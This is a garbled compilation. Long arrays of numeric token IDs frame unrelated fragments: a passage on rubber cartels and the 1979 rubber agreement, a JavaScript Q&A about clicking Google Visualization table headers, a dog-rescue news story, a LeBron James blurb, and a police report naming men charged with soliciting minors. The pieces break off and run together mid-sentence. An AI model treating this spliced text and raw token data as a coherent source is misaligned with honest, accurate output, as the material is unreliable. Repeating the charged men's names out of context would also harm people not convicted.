323, 22599, 5213, 5739, 15, 187, 187, 4941, 187, 22817, 11879, 589, 5489, 708, 9753, 5986, 187, 12697, 273, 14673, 11879, 589, 313, 7834, 495, 10, 187, 510, 16061, 273, 11879, 589, 27, 4727, 314, 285, 4281, 395, 187, 17239, 416, 15, 5769, 86, 14032, 13, 3003, 530, 15, 52, 15, 443, 4741, 18174, 10634, 19058, 6369, 1922, 53, 1864, 39572, 10172, 947, 25382, 40630, 22715, 1253, 38460, 13, 21919, 21897, 20695, 14, 3887, 10909, 14, 16604, 28124, 13, 11669, 18196, 13, 14070, 6516, 273, 10784, 13, 11988, 13, 14070, 16261, 15270, 313, 23375, 13, 14828, 10, 187, 187, 16927, 187, 187, 1413, 27, 27916, 589, 4491, 187, 1413, 27, 38, 11109, 2892, 273, 253, 1986, 11491, 187, 1413, 27, 38, 11109, 2892, 273, 5427, 187, 1413, 27, 12697, 273, 5213, 5454, 187, 1413, 27, 2115, 18034, 48795, 50, 27, 187, 187, 2347, 281, 755, 5084, 1416, 16, 4663, 672, 10478, 310, 25363, 187, 187, 2347, 281, 755, 253, 50276, 11631, 1416, 9, 10146, 10, 672, 253, 9056, 5084, 1416, 1227, 10146, 310, 25363, 50276, 249, 17899, 24426, 2829, 32, 187, 2413, 1358, 43265, 15, 3024, 16, 89, 75, 20, 1477, 2787, 79, 16, 187, 9906, 15, 2799, 2073, 34309, 1320, 1383, 686, 18, 1383, 551, 24166, 27, 14412, 2420, 6038, 9897, 187, 9906, 15, 1178, 2374, 9624, 18229, 9, 6553, 3235, 558, 187, 3701, 3812, 3235, 1082, 551, 187, 50276, 2044, 941, 426, 747, 17899, 15, 34309, 1320, 15, 3233, 3235, 1874, 187, 50276, 2203, 15, 1911, 13317, 2073, 2703, 1383, 686, 2402, 5137, 187, 50276, 2203, 15, 1911, 13317, 2073, 9133, 1383, 686, 15426, 552, 5137, 187, 50276, 2203, 15, 1911, 13317, 2073, 23170, 1383, 686, 16135, 6865, 5137, 187, 50276, 2203, 15, 1911, 27500, 9, 22, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 17, 13, 470, 13, 686, 8732, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 17, 13, 337, 13, 30321, 13, 34912, 740, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 17, 13, 374, 13, 2032, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 18, 13, 470, 13, 686, 25000, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 18, 13, 337, 13, 2030, 933, 13, 34912, 1099, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 18, 13, 374, 13, 2032, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 19, 13, 470, 13, 686, 31969, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 19, 13, 337, 13, 48296, 13, 34912, 25, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 19, 13, 374, 13, 3221, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 20, 13, 470, 13, 686, 28578, 257, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 20, 13, 337, 13, 1052, 361, 13, 34912, 938, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 20, 13, 374, 13, 2032, 558, 187, 50276, 2203, 15, 1178, 10772, 9, 21, 13, 470, 13, 686, 26946, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 21, 13, 337, 13, 1249, 933, 13, 34912, 805, 13, 933, 5137, 187, 50276, 2203, 15, 1178, 10772, 9, 21, 13, 374, 13, 3221, 558, 535, 50276, 2044, 2829, 426, 747, 17899, 15, 34309, 1320, 15, 3235, 9, 3306, 15, 22339, 2073, 2420, 64, 2154, 26811, 535, 50276, 2420, 15, 6553, 9, 2203, 13, 551, 9029, 10990, 8447, 27, 2032, 13, 15227, 27, 686, 25902, 8, 9897, 535, 50276, 9906, 15, 34309, 1320, 15, 20969, 15, 1911, 11119, 9, 2420, 13, 686, 7135, 1383, 1159, 1082, 551, 187, 50274, 2044, 4194, 426, 2829, 15, 788, 23474, 43144, 17, 1570, 736, 28, 187, 50274, 26544, 2073, 1394, 4236, 686, 559, 941, 15, 38950, 9, 736, 13, 470, 4027, 187, 50276, 9897, 187, 187, 94, 187, 187, 34, 27, 187, 187, 688, 19386, 187, 5, 29825, 9906, 14, 34309, 1320, 14, 2420, 14, 394, 6788, 9738, 9, 3701, 9, 70, 910, 187, 50274, 26544, 1587, 1394, 4236, 5084, 27, 346, 559, 299, 15, 936, 7050, 15, 5338, 4312, 558, 187, 9897, 187, 187, 688, 6313, 20235, 187, 2044, 288, 426, 3389, 15, 788, 25170, 3463, 43731, 1587, 9906, 14, 34309, 1320, 14, 2420, 14, 394, 3287, 187, 187, 1542, 313, 74, 426, 470, 28, 891, 654, 288, 15, 3985, 28, 891, 9234, 551, 187, 50274, 73, 60, 74, 1570, 44364, 1587, 9738, 995, 1159, 313, 70, 10, 551, 187, 50270, 26544, 1587, 1394, 4236, 5084, 27, 346, 559, 299, 15, 936, 7050, 15, 5338, 4312, 558, 187, 50274, 2023, 3221, 558, 187, 94, 187, 187, 5035, 634, 9300, 47121, 1060, 27, 3944, 1358, 43265, 15, 3024, 16, 89, 75, 20, 1477, 2787, 79, 16, 21, 16, 535, 9917, 27, 187, 187, 18744, 657, 781, 457, 84, 15350, 1457, 91, 12249, 1241, 13, 835, 23499, 9097, 4962, 390, 497, 37274, 347, 629, 273, 521, 4370, 71, 23144, 4254, 13, 310, 581, 3213, 8003, 281, 2489, 247, 6468, 323, 19848, 9097, 285, 22459, 9097, 27, 11056, 253, 29493, 1387, 40938, 3666, 4003, 23526, 313, 37, 8904, 10, 1905, 9940, 281, 12365, 253, 38087, 273, 448, 1776, 285, 4331, 920, 9097, 323, 1495, 1905, 27599, 327, 253, 2867, 15, 187, 187, 27132, 747, 1416, 27, 380, 7088, 1457, 91, 1720, 8621, 5197, 323, 775, 1243, 285, 24263, 264, 40938, 15, 187, 187, 1628, 49, 3201, 2355, 436, 2867, 285, 275, 1055, 4933, 352, 896, 281, 253, 10349, 273, 253, 7242, 326, 5866, 1060, 310, 247, 1077, 6422, 3213, 323, 5893, 23318, 285, 776, 2586, 457, 84, 9097, 19605, 1806, 2296, 16219, 8432, 596, 333, 570, 13, 15217, 285, 11731, 273, 399, 8904, 15, 773, 1231, 403, 10430, 247, 3935, 281, 1110, 665, 971, 281, 7242, 285, 3819, 9097, 326, 247, 747, 1388, 310, 277, 37567, 275, 3968, 13, 247, 1388, 835, 9097, 403, 4127, 342, 253, 2389, 285, 1675, 597, 17337, 347, 24835, 281, 7497, 1425, 187, 187, 510, 2867, 1905, 2378, 657, 781, 457, 84, 9385, 2419, 1905, 310, 13318, 247, 5389, 581, 15, 4794, 281, 253, 5041, 5779, 13, 253, 577, 13, 10487, 14, 15044, 14, 8938, 3168, 14, 67, 4662, 2419, 313, 8826, 1067, 352, 247, 35390, 10, 556, 28395, 264, 45925, 723, 13, 767, 45151, 10730, 6985, 84, 13, 247, 39696, 275, 581, 15336, 13, 285, 247, 10864, 448, 34634, 1321, 15, 733, 17954, 327, 1458, 20046, 273, 2659, 15, 187, 187, 1989, 323, 512, 697, 12994, 1140, 44977, 13, 253, 2867, 310, 1308, 34282, 342, 19513, 12959, 15, 3808, 403, 987, 762, 8938, 27, 399, 8904, 9708, 86, 398, 1158, 253, 3644, 42131, 327, 253, 23656, 778, 973, 320, 2614, 432, 253, 9097, 15, 187, 187, 2214, 399, 8904, 13, 253, 9261, 432, 4370, 7085, 281, 4370, 13926, 3548, 457, 85, 816, 247, 24762, 10170, 27, 380, 1387, 3198, 247, 9509, 323, 28187, 9097, 15, 399, 8904, 556, 644, 25243, 2158, 285, 294, 12856, 272, 9097, 2439, 253, 1982, 323, 253, 1390, 7457, 1107, 15, 3808, 495, 13, 933, 9097, 452, 574, 616, 4852, 3531, 1475, 407, 616, 15986, 285, 25243, 398, 15, 1292, 253, 1387, 556, 1620, 574, 247, 9509, 281, 1067, 697, 1211, 15, 187, 187, 4967, 247, 2419, 32, 4923, 326, 457, 84, 752, 253, 9097, 878, 13, 2296, 596, 333, 570, 15, 743, 5667, 629, 273, 19427, 281, 1495, 3304, 247, 18248, 1728, 310, 281, 3153, 3304, 247, 18248, 1728, 15, 380, 1387, 457, 84, 4736, 310, 281, 14471, 6783, 448, 1243, 390, 33945, 264, 9097, 591, 807, 13, 285, 281, 6524, 823, 3081, 9189, 627, 281, 1379, 275, 625, 9097, 15, 187, 187, 2993, 2296, 4370, 26987, 588, 320, 10112, 281, 4143, 253, 9509, 285, 253, 14471, 9097, 13, 285, 588, 671, 320, 2104, 281, 4143, 247, 27672, 323, 253, 9097, 665, 4962, 627, 15, 1909, 629, 273, 521, 42346, 4892, 1475, 253, 20902, 13, 2070, 39674, 5490, 6331, 689, 275, 22808, 13, 5854, 281, 2451, 14, 249, 342, 521, 747, 20391, 5453, 326, 344, 13730, 21186, 15, 2070, 39674, 1694, 247, 4839, 281, 1379, 3533, 432, 1652, 5753, 432, 247, 1980, 2143, 285, 253, 1563, 3492, 4352, 253, 4384, 436, 4131, 15, 187, 187, 3220, 7583, 3533, 27, 187, 187, 3, 18837, 79, 626, 634, 806, 1416, 320, 686, 18448, 47186, 187, 187, 3, 6723, 368, 38165, 685, 619, 16522, 865, 187, 187, 3, 6723, 368, 38165, 685, 247, 48496, 23510, 865, 187, 187, 18336, 15867, 273, 22808, 16004, 5579, 27, 14897, 1005, 9833, 4314, 1821, 1390, 2129, 327, 7260, 273, 2820, 281, 37391, 2151, 323, 2825, 275, 271, 4254, 407, 50013, 3513, 13, 253, 308, 35083, 3928, 22565, 457, 84, 4487, 285, 253, 6112, 4487, 273, 5259, 18731, 15, 187, 187, 7130, 281, 3513, 13, 253, 1821, 1869, 597, 497, 44096, 3909, 342, 2151, 11880, 2145, 281, 1668, 285, 497, 2668, 715, 13555, 672, 597, 7244, 387, 271, 50013, 4328, 835, 597, 574, 10912, 281, 2525, 253, 27517, 323, 2825, 15, 187, 187, 33770, 1821, 497, 9833, 327, 7260, 273, 3909, 26854, 3535, 273, 247, 5884, 27, 10765, 2639, 31997, 13, 3925, 28, 3826, 279, 16863, 13, 2164, 28, 3035, 41242, 26424, 13, 2030, 28, 6277, 30533, 251, 338, 1792, 13, 655, 28, 19717, 367, 8297, 76, 13, 7904, 28, 29092, 16040, 13, 3495, 28, 14468, 411, 1595, 13, 5540, 28, 285, 6416, 844, 262, 8420, 13, 2164, 15, 187, 187, 36, 5179, 671, 369, 2918, 327, 16383, 32570, 28, 26424, 9365, 247, 2854, 14, 993, 12426, 4179, 28, 285, 16040, 671, 9365, 7260, 273, 9222, 327, 247, 1345, 21133, 285, 42163, 5263, 15, 1876, 4314, 1821, 452, 30746, 562, 273, 13555, 15, 187, 187, 11387, 4194, 13, 432, 1669, 27, 10765, 2639, 31997, 13, 3826, 279, 16863, 13, 3035, 41242, 26424, 13, 6277, 30533, 251, 338, 1792, 15, 36035, 4194, 13, 432, 1669, 27, 19717, 367, 8297 ]

rubber prices to maintain rubber prices and profitability of rubber producing firms. The agreement both prevented establishment of new rubber plantations and placed production restrictions on existing plantations. The agreement in effect formed a cartel of rubber producing nations. To satisfy the interests of the opposite side, the rubber consuming nations, a new institutional body was established: a “Consumer Advisory Council”. Therein representatives of the three leading rubber consuming nations took place: For the United States this was „The Rubber Manufacturers’ Association of America", for Great Britain „The India Rubber Manufacturers’ Association of the United Kingdom" and for Germany the „Reichsverband der deutschen Kautschukindustrie”. Other countries, e.g. Japan or the Sowjetunion, had got no representation. Outcome The United States tried to become independent of the rubber cartel: establishing rubber plantations in territories under its control; conducting research into rubber-producing plants that thrive in the United States' climate; and reinvigorated efforts to replace natural rubber in tires with a synthetic. In the Fordlandia venture, Henry Ford failed in an attempt to produce rubber in Brazil. The Goodyear Tire and Rubber Company developed plantations in the Philippines and Costa Rica and Harvey Firestone developed plantations in Liberia. Research into synthetic rubber was limited by lack of knowledge of the chemical structure of rubber compounds until after 1945. DuPont had developed neoprene in the 1920s in response to the Stevenson Plan, but neoprene was too costly for making tires. During this period the International Rubber Research & Development Board and the Research Association of British Rubber Manufacturers were founded. Also other technologically advanced countries like Germany and the Soviet Union developed in the interwar period synthetic rubber (e.g. Buna. But this was always more expensive than natural rubber. International Natural Rubber Agreement, 1979 The first and only agreement to come from the United Nations Conference on Trade and Development Integrated Programme for Commodities was an International Natural Rubber Agreement. The agreement had similar objectives. It introduced the concept of joint responsibility for financing international stock. References International Rubber Research & Development Board History of Natural Rubber (Part 3) The Story of Rubber:Supply and Demand Paul R. Samuelson, THE U.S. GOVERNMENT SYNTHETIC RUBBER PROGRAM 1941–1955, Working Paper MIT-EL 76-027WP, Energy Laboratory, Massachusetts Institute of Technology, Cambridge, Massachusetts 02139 (November, 1976) Notes Category:Rubber industry Category:Economic history of the United Kingdom Category:Economic history of India Category:History of international trade Category:Commercial treatiesQ: How to get column name/index when header is clicked How to get the column name(header) when the respective column name /header is clicked in google visualization table? http://jsfiddle.net/xj3ww79n/ google.load('visualization', '1', {packages: ['table']}); google.setOnLoadCallback(drawTable); function drawTable() { var data = new google.visualization.DataTable(); data.addColumn('string', 'Name'); data.addColumn('number', 'Salary'); data.addColumn('boolean', 'Full Time'); data.addRows(5); data.setCell(0, 0, 'John'); data.setCell(0, 1, 10000, '$10,000'); data.setCell(0, 2, true); data.setCell(1, 0, 'Mary'); data.setCell(1, 1, 25000, '$25,000'); data.setCell(1, 2, true); data.setCell(2, 0, 'Steve'); data.setCell(2, 1, 8000, '$8,000'); data.setCell(2, 2, false); data.setCell(3, 0, 'Ellen'); data.setCell(3, 1, 20000, '$20,000'); data.setCell(3, 2, true); data.setCell(4, 0, 'Mike'); data.setCell(4, 1, 12000, '$12,000'); data.setCell(4, 2, false); var table = new google.visualization.Table(document.getElementById('table_div')); table.draw(data, {showRowNumber: true,sort: 'disable'}); google.visualization.events.addListener(table,'select', function() { var row = table.getSelection()[0].row; alert('You selected'+ data.getValue(row, 0)); }); } A: In jQuery $(".google-visualization-table-th").click(function(e){ alert("You selected column: " + e.toElement.innerText); }); In pure JS var h = document.getElementsByClassName("google-visualization-table-th"); for (i = 0; i < h.length; i++) { h[i].addEventListener("click", function (e) { alert("You selected column: " + e.toElement.innerText); }, false); } See your updated fiddle here: http://jsfiddle.net/xj3ww79n/4/ Also: Michael Vick’s Bad Newz Kennels, where countless dogs died or were tortured as part of his dogfighting operation, is one step closer to become a haven for abused dogs and neglected dogs: Today the nonprofit group Dogs Deserve Better (DDB) — dedicated to ending the cruelty of chaining and penning dogs for life — closes on the property. Its new name: The Good Newz Rehab Center for Chained and Penned Dogs. “Purchasing this property and in effect giving it back to the victims of the abuse that occurred here is a very powerful step for animal advocates and our country’s dogs alike,” says Tamira Thayne, founder and CEO of DDB. “We are sending a message to those who want to abuse and fight dogs that a new day is dawning in America, a day where dogs are treated with the love and respect they deserve as companions to humans.” The property — once Vick’s Virginia house — is physically a beautiful one. According to the Washington Post, the 4,600-square-foot white-brick house (some call it a mansion) has vaulted ceilings, two whirlpool tubs, a fireplace in one bathroom, and a giant chandelier. It sits on 15 acres of land. But for all its attractive trappings, the property is brimming with ugly memories. Some are right underfoot: DDB rescuers think the dark stains on the carpet may well be blood from the dogs. For DDB, the transformation from dog hell to dog heaven isn’t just a symbolic victory: The group needs a facility for rescued dogs. DDB has been fostering and rehoming dogs across the US for the last nine years. Some 3,000 dogs have had their lives turned around by their volunteers and fosters. But the group has never had a facility to call its own. Why a house? Because that’s what the dogs need, says Thayne. An essential part of adjusting to life inside a loving home is to live inside a loving home. The group’s goal is to rescue 500 chained or penned dogs per year, and to eventually add additional facilities there to take in more dogs. She says dog lovers will be welcome to visit the facility and the rescue dogs, and will also be able to visit a memorial for the dogs who died there.As part of his offseason tour around the globe, LeBron James stopped over in Liverpool, England to check-in with his new soccer club that he partly owns. LeBron got a chance to take questions from little kids from a local school and the following video hit the web this morning. My favorite questions: "Shouldn't your first name be 'James'?" "Are you taller than my Dad?" "Are you taller than a giraffe?" Courtesy of Liverpool FC TV:Authorities arrested eight men last week on charges of trying to solicit children for sex in an operation by Arlington police, the Tarrant County Sheriff’s Department and the Texas Department of Public Safety. According to police, the men thought they were chatting online with children ages 13 to 16 and were taken into custody when they arrived at an Arlington location where they had arranged to meet the teens for sex. Eight men were arrested on charges of online solicitation of a minor: Francisco Carreon, 60; Davion Carter, 24; Enrico Garcia, 25; Michael Owonifari, 19; Christopher Pintek, 46; Joshua Price, 23; Brian Watt, 36; and Christian Weitmann, 24. Carter also was held on outstanding warrants; Garcia faces a drug-possession charge; and Price also faces charges of assault on a public servant and resisting arrest. All eight men have bonded out of custody. Top row, from left: Francisco Carreon, Davion Carter, Enrico Garcia, Michael Owonifari. Bottom row, from left: Christopher Pinte

[ 731, 1128, 1542, 643, 4606, 1512, 13, 309, 9428, 27, 521, 4833, 285, 521, 2583, 1146, 2190, 731, 13, 309, 4709, 1128, 12157, 275, 253, 2834, 285, 16907, 19461, 1107, 273, 253, 39710, 1456, 13, 326, 310, 13, 1309, 954, 273, 10049, 657, 5036, 1866, 434, 5249, 13, 344, 574, 4127, 253, 22411, 4525, 285, 253, 10349, 273, 30667, 261, 932, 1077, 973, 13, 5747, 1907, 13465, 1309, 253, 10109, 3660, 327, 253, 594, 14, 8890, 3313, 382, 1930, 285, 5747, 1146, 327, 1175, 2426, 342, 253, 9459, 13, 247, 2954, 326, 574, 13, 275, 629, 13, 6518, 779, 1973, 247, 5547, 5249, 15, 3032, 2393, 37846, 574, 644, 259, 366, 433, 1066, 13, 604, 417, 14454, 13, 285, 1996, 13, 9243, 14649, 1620, 3260, 670, 352, 13, 347, 369, 253, 1083, 342, 594, 1142, 2571, 665, 497, 3158, 281, 557, 12779, 390, 281, 1917, 667, 34019, 4859, 13, 390, 2010, 281, 1790, 327, 253, 19354, 285, 769, 342, 42548, 285, 4685, 4404, 253, 3897, 398, 27, 597, 497, 4536, 3240, 33842, 13, 14501, 273, 253, 747, 27851, 313, 4609, 9142, 32945, 327, 731, 558, 2571, 497, 9696, 3158, 281, 923, 752, 369, 2779, 281, 5108, 275, 253, 1048, 1307, 285, 497, 11019, 3791, 1346, 15, 380, 6158, 497, 1900, 6600, 326, 1014, 275, 247, 4112, 275, 534, 253, 20721, 12969, 8839, 285, 4336, 24983, 253, 10266, 390, 616, 17485, 285, 45418, 38948, 13, 352, 18960, 731, 281, 320, 387, 1878, 13730, 327, 1175, 2426, 342, 4130, 390, 281, 452, 731, 512, 13730, 275, 616, 6735, 13, 390, 387, 1878, 417, 281, 320, 2326, 407, 3780, 347, 616, 17123, 9054, 15, 1583, 871, 326, 667, 824, 43003, 588, 13, 19473, 390, 1996, 13, 294, 4399, 285, 9295, 2217, 281, 294, 7397, 907, 3139, 285, 8756, 14056, 1110, 3672, 26882, 1701, 285, 12841, 407, 253, 1655, 963, 4991, 13, 3798, 984, 344, 556, 642, 2934, 752, 281, 513, 342, 731, 27, 275, 11268, 13, 323, 1650, 13, 436, 3732, 281, 4466, 285, 253, 14635, 15, 187, 187, 27573, 657, 5036, 1866, 574, 644, 581, 273, 253, 33842, 4394, 13, 387, 1878, 344, 574, 326, 12681, 15, 733, 369, 753, 326, 1014, 1309, 253, 16952, 84, 285, 2456, 84, 13, 672, 253, 32070, 369, 1335, 387, 697, 954, 4373, 39237, 1313, 16512, 13, 285, 344, 812, 452, 644, 10145, 273, 1146, 5322, 281, 253, 346, 51, 5797, 3, 285, 3021, 13572, 521, 5249, 22087, 13, 344, 574, 23188, 1160, 1728, 12941, 13, 4336, 1959, 273, 4179, 13, 281, 253, 8334, 2151, 273, 4292, 665, 574, 644, 1460, 2400, 285, 1110, 665, 574, 644, 20374, 432, 30347, 616, 48502, 285, 497, 3021, 26212, 281, 22915, 2717, 390, 760, 752, 597, 7303, 281, 49939, 2366, 347, 285, 672, 597, 812, 313, 266, 43609, 44820, 382, 369, 3777, 281, 2444, 347, 247, 15934, 4330, 285, 2176, 9835, 33108, 3395, 10954, 387, 690, 16453, 3448, 35893, 582, 7206, 272, 616, 26283, 285, 5662, 19367, 281, 3959, 616, 3238, 347, 22595, 296, 16443, 390, 4076, 398, 275, 253, 20193, 18294, 273, 1110, 665, 574, 731, 275, 616, 1612, 390, 273, 253, 2806, 2791, 70, 398, 665, 2335, 5750, 273, 4130, 15, 10049, 657, 5036, 1866, 574, 644, 7036, 3093, 2473, 390, 2849, 10779, 528, 285, 46316, 13, 347, 574, 690, 273, 521, 11651, 13, 285, 344, 574, 5420, 25122, 281, 2968, 342, 2219, 273, 18306, 285, 847, 280, 285, 47151, 13, 278, 10628, 285, 11152, 81, 1004, 13, 1014, 30091, 5895, 285, 643, 824, 4092, 44244, 942, 2438, 663, 1076, 1110, 354, 31509, 2151, 15, 754, 574, 3779, 1272, 285, 9809, 1142, 1355, 4852, 13, 247, 2579, 323, 534, 253, 4651, 812, 417, 452, 5087, 390, 760, 342, 1270, 10183, 285, 407, 20661, 715, 440, 12080, 494, 6735, 285, 13165, 15, 754, 574, 4270, 247, 12681, 347, 247, 1175, 13, 2238, 637, 13, 47182, 285, 23374, 13, 285, 342, 253, 8136, 273, 673, 1128, 4609, 11999, 3782, 7808, 1309, 39710, 16458, 13, 835, 3253, 4916, 13691, 13, 2223, 11306, 4443, 437, 1428, 13, 3340, 604, 253, 6110, 3128, 556, 247, 2554, 275, 17355, 326, 13691, 1128, 9468, 23606, 13, 30481, 952, 574, 1705, 281, 1908, 779, 281, 320, 581, 273, 731, 13, 3240, 28884, 273, 849, 344, 574, 5847, 11712, 762, 253, 9459, 390, 2010, 23771, 272, 436, 281, 521, 15423, 5702, 6936, 13, 521, 3745, 281, 755, 327, 342, 4130, 285, 281, 2118, 4354, 275, 512, 14240, 13, 285, 247, 1652, 13, 1512, 13, 281, 253, 7516, 326, 43604, 667, 2323, 15, 831, 3534, 779, 253, 37468, 273, 247, 10290, 13, 10527, 285, 2761, 10020, 14, 19255, 280, 1669, 14, 88, 4940, 13, 3095, 665, 13, 275, 253, 31056, 273, 2069, 13, 574, 1691, 521, 9215, 281, 253, 9530, 285, 1408, 10502, 275, 1340, 281, 1361, 9865, 13, 4217, 952, 665, 574, 644, 5248, 715, 253, 8346, 13862, 281, 269, 423, 323, 3746, 15, 187, 187, 2302, 581, 3534, 667, 6349, 281, 253, 958, 326, 344, 574, 6312, 521, 3739, 4248, 672, 344, 369, 760, 6818, 13, 275, 16952, 13, 253, 806, 807, 846, 253, 10170, 13, 672, 253, 18403, 574, 644, 4581, 323, 253, 1264, 1107, 326, 253, 3660, 574, 20578, 28, 326, 672, 344, 369, 6818, 14, 13524, 313, 2577, 2363, 387, 253, 673, 582, 344, 574, 644, 11162, 17762, 3643, 41816, 757, 387, 253, 8896, 372, 5003, 23316, 28, 390, 326, 672, 344, 369, 10488, 14, 531, 344, 574, 644, 2104, 281, 1527, 521, 1211, 5869, 13, 534, 1313, 342, 8993, 2323, 285, 913, 7041, 13, 275, 253, 840, 4942, 747, 1639, 18463, 3737, 11879, 254, 13, 11420, 275, 22420, 407, 253, 1077, 795, 925, 266, 371, 8727, 64, 285, 1077, 19080, 11576, 14, 38655, 14, 303, 10192, 12416, 18268, 478, 285, 19869, 1370, 13, 665, 5678, 253, 806, 4876, 273, 616, 767, 256, 662, 1443, 281, 1918, 253, 14235, 697, 20873, 4060, 15, 2207, 5046, 352, 369, 3365, 326, 642, 581, 3260, 13, 816, 347, 275, 253, 1107, 273, 253, 48332, 13, 952, 9013, 281, 11823, 390, 13292, 253, 2469, 4852, 273, 1142, 4292, 10066, 281, 253, 9459, 1128, 39374, 10266, 760, 3407, 387, 690, 2393, 390, 3563, 2774, 275, 3468, 14, 26621, 673, 1128, 39374, 18974, 369, 2783, 19812, 550, 494, 13, 3340, 604, 597, 497, 13224, 285, 15622, 13, 417, 281, 3748, 11571, 9393, 528, 15, 1621, 581, 15105, 84, 281, 10711, 253, 5018, 390, 20801, 273, 3095, 597, 26930, 285, 1675, 13, 1335, 1679, 604, 597, 24186, 731, 247, 6735, 273, 27579, 15, 1621, 581, 8344, 2057, 326, 10049, 657, 5036, 1866, 574, 1900, 11346, 46466, 13, 12681, 285, 2583, 15, 733, 369, 8025, 344, 574, 12431, 436, 949, 1892, 789, 13, 12816, 13, 31768, 285, 3434, 15, 187, 10327, 10074, 51, 2354, 13, 309, 3260, 2717, 273, 512, 436, 672, 8524, 928, 6636, 479, 342, 326, 4836, 15, 309, 3260, 760, 273, 10049, 657, 5036, 1866, 434, 7126, 12681, 347, 247, 7345, 285, 326, 344, 574, 1881, 13102, 1677, 8596, 281, 1110, 10349, 273, 3569, 30667, 261, 932, 665, 20296, 253, 2097, 281, 2075, 779, 13, 390, 594, 952, 753, 285, 594, 3780, 651, 2028, 368, 604, 2546, 15, 733, 369, 3477, 2217, 281, 2451, 253, 5441, 273, 521, 34406, 285, 5249, 13, 533, 642, 581, 28860, 13, 1014, 2167, 597, 497, 627, 323, 512, 281, 923, 275, 9883, 546, 12642, 20414, 264, 6358, 13, 399, 21104, 13, 323, 1650, 13, 390, 1014, 275, 253, 954, 3332, 11166, 273, 795, 7883, 434, 8452, 275, 3060, 64, 1157, 534, 309, 1119, 275, 253, 4782, 6516, 6335, 275, 2263, 282, 1219, 20752, 287, 28, 309, 369, 9861, 281, 923, 521, 1416, 627, 13, 309, 1904, 626, 871, 387, 253, 673, 326, 627, 403, 2710, 2159, 12176, 368, 476, 1379, 275, 1340, 281, 3176, 275, 2761, 667, 1618, 273, 1774, 952, 13, 604, 368, 1472, 3413, 2217, 15, 733, 369, 984, 273, 253, 7517, 8524, 928, 574, 1677, 479, 326, 309, 4425, 281, 1089, 562, 4555, 665, 309, 369, 2820, 281, 994, 1761, 13, 11525, 281, 1089, 690, 625, 22861, 323, 752, 309, 369, 670, 281, 513, 15, 2064, 434, 752, 309, 1904, 626, 751, 13, 1907, 281, 9310, 779, 2112, 342, 479, 285, 10018, 779, 13, 342, 253, 8208, 273, 36689, 8524, 928, 670, 521, 8770, 13, 3340, 342, 2255, 15, 4952, 2167, 309, 1904, 626, 1199, 751, 2509, 436, 313, 918, 432, 253, 1265, 13, 309, 812, 452, 1677, 619, 12145, 690, 1077, 11859, 5441, 670, 849, 13, 835, 285, 665, 10049, 657, 5036, 1866, 369, 11598, 272, 13, 387, 1878, 327, 326, 581, 9055, 13, 533, 309, 574, 4425, 281, 1978, 7107, 670, 326, 390, 1978, 352, 281, 4266, 323, 253, 2774, 558, 1014, 2167, 8524, 928, 574, 644, 2183, 271, 19513, 2926, 432, 253, 2469, 285, 1024, 37050, 9698, 16102, 33196, 670, 10049, 657, 5036, 1866, 326, 26504, 779, 11617, 285, 13699, 616, 19429, 28, 1014, 2167, 309, 3517, 6311, 326, 253, 15058, 574, 4518, 574, 2176, 4859, 342, 253, 9459, 275, 253, 8905, 390, 417, 594, 8905, 2469, 313, 38896, 7960, 1509, 1242, 390, 407, 11561, 7578, 28, 846, 512, 13, 752, 2010, 812, 597, 513, 13, 253, 5020, 273, 1110, 665, 3543, 7591, 281, 1918, 598, 20464, 272, 390, 5675, 6793, 323, 14327, 1107, 13, 352, 2335, 1524, 43370, 281, 9488, 512, 3524, 582, 533, 752, 309, 1663, 557, 44939, 369, 253, 2934, 273, 17630, 2179, 3095, 432, 253, 35681, 13, 273, 9159, 779, 247, 4049, 274, 6475, 466, 1754, 7094, 327, 3095, 2010, 434, 15952, 1128, 42, 1599, 13, 2139, 327, 6149, 651, 309, 5206, 347, 247, 16866, 327, 619, 15513, 562, 247, 21116, 14, 2913, 14, 744, 637, 13, 1014, 581, 665, 3261, 3578, 1107, 9243, 32, 1128, 395, 534, 369, 4336, 3221, 432, 1755, 281, 5004, 15, 3105, 760, 984, 326, 4049, 274, 6475, 466, 369, 704, 1300, 13, 533, 984, 3212, 352, 2242, 271, 12130, 9085, 23778, 13, 247, 8327, 281, 440, 12477, 779, 13, 253, 4758, 273, 35352, 342, 534, 281, 16031, 779, 15, 187, 187, 42, 8156, 849, 20032, 352, 310, 1146, 247, 23019, 13, 2299, 18338, 253, 2847, 13, 285, 275, 436, 4112, 13, 309, 3589, 626, 1014, 2119, 752, 253, 2847, 369, 13, 309, 369, 3365, 1563, 7367, 15, 1707, 310, 1633, 2613, 13, 1633, 33336, 1615, 670, 8136, 4834, 745, 347, 3095, 2010, 13, 670, 50090, 275, 271, 762, 4608, 5133, 13, 21896, 253, 7162, 273, 3095, 275, 1340, 281, 19829, 779, 13, 1014, 604, 326, 1436, 310, 247, 32402, 13, 271, 9054, 13, 247, 37658, 15, 2064, 310, 253, 2628, 273, 278, 3841, 285, 23608, 2392, 13, 273, 253, 4279, 390, 4021, 6083, 665, 18018, 1046, 15269, 273, 5948, 13, 1014, 253, 954, 11309, 3472, 28, 273, 253, 6382, 14745, 665, 4536, 6947, 1107, 2444, 13, 323, 1650, 13, 323, 247, 17150, 6003, 390, 247, 278, 41067, 13, 347, 604, 597, 497, 816, 1529, 3558, 273, 253, 10821, 15, 1583, 1364, 320, 16575, 13762, 273, 253, 12553, 49578, 273, 616, 2628, 13, 597, 1364, 1158, 1046, 1388, 13, 672, 597, 755, 598, 285, 672, 597, 564, 281, 3722, 13, 326, 6701, 281, 616, 1607, 493, 459, 13, 4852, 588, 320, 9809, 285, 12137, 247, 13083, 15, 1244, 2568, 13, 309, 1869, 13, 309, 812, 417, 320, 581, 273, 731, 15, 11243, 352, 434, 247, 2647, 273, 3733, 285, 3946, 285, 8803, 13, 273, 12422, 271, 2168, 5368, 24307, 28, 273, 6684, 247, 3282, 273, 28867, 33728, 318, 13, 273, 12147, 285, 36163, 285, 38576, 